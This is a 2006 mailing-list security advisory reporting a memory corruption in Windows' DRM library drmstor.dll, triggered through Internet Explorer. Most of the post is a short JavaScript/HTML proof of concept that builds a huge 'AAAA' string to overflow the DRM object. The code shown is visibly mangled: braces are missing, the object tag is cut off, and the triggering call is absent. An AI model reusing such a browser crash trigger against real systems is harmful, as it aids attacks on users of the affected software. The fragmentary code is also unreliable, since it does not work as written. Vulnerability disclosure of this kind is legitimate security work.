MS Windows DRM software Memory Corruption Oct 09 2006 10:39AM
Joxean Koret (joxeankoret yahoo es)
Hi to all,

While finding buffer overflows in Internet Explorer I
found a memory corruption in the "drmstor.dll" library
which is a part of the DRM (Digital Rights Management)
software supplied with MS Windows.

The following Proof Of Concept is sufficient enough to
test the vulnerability:

function test()
var obj;
var x;

x = "AAAA";

for (i=0;i<=21;++i)
x += x;

obj = document.getElementById('testObj');
<body onload="test();">
<object id='testObj'

The information in this advisory and any of its
demonstrations is provided "as is" without any
warranty of any kind.

I am not liable for any direct or indirect damages
caused as a result of using the information or
demonstrations provided in any part of this advisory.


Joxean Koret at <<<<<<<<@>>>>>>>>yah00<<<<<<dot>>>>>es

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